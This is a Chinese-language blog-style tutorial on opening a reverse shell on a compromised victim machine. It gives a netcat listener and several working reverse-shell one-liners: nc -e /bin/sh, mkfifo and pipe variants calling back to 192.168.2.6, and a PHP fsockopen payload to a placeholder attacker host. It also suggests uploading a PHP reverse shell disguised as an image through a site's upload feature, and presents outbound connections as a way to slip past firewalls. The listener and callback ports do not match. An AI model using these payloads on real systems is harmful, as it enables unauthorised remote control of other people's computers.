當我們有辦法透過可能網頁漏洞,還是系統漏洞可以讓受害者的電腦執行指令時,我們就可以開始下指令遠端操控對方,這時候會遇到幾個問題
這時候就可以利用反向Shell的方式讓受害者的電腦連回來我們這邊並且讓我們直接執行腳本,透過反向shell的好處是不太會被防火牆阻擋,因為連線方向是從對方內部往外連線。
首先需要在我們自己的電腦上(如用kali 或是parrot)開啟terminal 然後下指令開啟8888 port(可隨意換一個沒在用的)
nc -nvlp 8888
這時候你就可以讓受害者的電腦去執行反向Shell
nc 192.168.2.6 8080 -e /bin/sh
不過上面這個方法有些版本nc沒有GAPING_SECURITY_HOLE 所以會出錯說沒有-e的function 這時候你就可以改成
rm -f /tmp/a;nc 192.168.2.6 8080 0</tmp/a | /bin/sh >/tmp/a 2>&1; rm /tmp/a
或是在多利用mkfifo這個 變成
rm -f /tmp/a; mkfifo /tmp/a; nc 192.168.2.6 8080 0</tmp/a | /bin/sh >/tmp/a 2>&1; rm /tmp/a
而上面那些 > 2 1 &的我其實不是很了解在幹嘛的,應該說 就算了解了 隔天就忘了… 下面我付上一個對岸博主的說明
***注意,这里”&”在Linux shell中表示后台运行,当然这里0>&1不是这样,对于&1更准确的说应该是文件描述符1,而1一般代表的就是STDOUT_FILENO***
*** 2>&1形式用于重定向,2>表示错误重定向,&1表示标准输出;以ls >/dev/null 2>&1为例,2>&1是将标准出错重定向到标准输出,不过在这里又被重定向到了/dev/null这个无底洞里***
***这里有一个问题:为什么2>&1要写在后面,以command >file 2>&1为例,首先是command > file将标准输出重定向到file中, 2>&1 是标准错误拷贝了标准输出的行为,也就是同样被重定向到file中,最终结果就是标准输出和错误都被重定向到file中***
***其实还有一个问题,既然2>表示错误重定向,那么0>表示什么呢?查阅资料发现在Linux下输入输出重定向有三个值,其中2已经说过是标准错误信息输出,那0则是标准输入,1则为标准输出了。说到这里,其实又引出了一个新的问题,我们知道<才是表示输入的,那为何这里却是如此形式,按说就应该是2了,或者说这里0就已经是输入了,然后直接使用>进行输出,不是很清楚请大牛指点啊***
gnucitizen[http://www.gnucitizen.org/blog/reverse-shell-with-bash/]上还有一种不同的方法,评论中也有一些想法:
或是利用php的方式也可以,很多網站都有提供讓人家上傳檔案的功能,或是圖片,你可以試著把php檔當作圖片傳上去… github上有一個php-reverse-shell.php 寫的好好用der…
下面這個單行指令只能在php7以下才會成功。php8可能就跑不起來了。
php -r '$sock=fsockopen("attackerip",5555);exec("/bin/sh -i <&3 >&3 2>&3");'
如此一來就攻擊成功了,如下圖
相關的反向shell 也有被寫成好幾種語言可以參考,我就放在參考文章上了
參考文章: